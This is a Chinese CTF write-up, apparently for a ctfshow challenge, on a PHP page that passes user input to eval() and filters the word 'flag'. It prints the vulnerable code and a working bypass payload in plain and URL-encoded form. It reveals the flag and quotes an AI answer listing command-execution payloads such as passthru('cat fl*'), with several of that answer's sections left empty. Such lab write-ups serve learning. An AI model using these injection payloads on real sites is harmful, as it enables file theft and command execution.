题目提示命令执行,需要严格的过滤,估计有什么接口没做过滤就直接执行用户输入的命令了

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

由于存在 preg_match 不区分大小写(/i)匹配 flag,命令中不能直接出现 flag 否则不会被执行,使用拼接的方式可以不直接出现可被匹配的 flag 四个连续字母但达到相同的效果

$a='fla'; $b='g.php'; highlight_file($a.$b);

经过浏览器自动 URL 编码后是这样的

/?c=$a=%27fla%27;%20$b=%27g.php%27;%20highlight_file($a.$b);

或者去掉空格会更简单一点,%27应该就是单引号

/?c=$a=%27fla%27;$b=%27g.php%27;highlight_file($a.$b);
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:14:07
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:14:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$flag = 'ctfshow{b174ee85-c133-46b9-997d-934a41fa5581}';

下面是 Gemini 3.8 Flash 给出的回答,我测试了前三个绕过都没有成功,第四个成功了所以放在上面

不会直接显示。

eval() 在 PHP 中只是把传入的字符串当作 PHP 代码来解析并执行,它本身不会自动将表达式的结果打印或输出到页面上。


两种场景的对比

$c = "1 + 1;";
$c = "file_get_contents('flag.php');";
$c = "system('ls');"; // 注意:反引号或部分只读函数若无 echo 也可能不直接回显

上述代码会被正常执行,但返回值只停留在内存中,不会输出。

$c = "echo 1 + 1;";
$c = "print_r(scandir('.'));";
$c = "highlight_file('index.php');";
$c = "passthru('cat fl*');"; // passthru 会直接把命令执行结果打印到标准输出

CTF / 代码执行常见绕过技巧

在 CTF 题目中遇到这种过滤 flag 的 eval($c) 时,通常需要主动构造带输出的函数并绕过 flag 关键字:


出现前三种失败而第四种成功的情况,通常是由目标环境的具体限制引起的:


防御与修复建议

这种模式的根本风险在于信任了不受控的外部输入并传入了危险执行函数: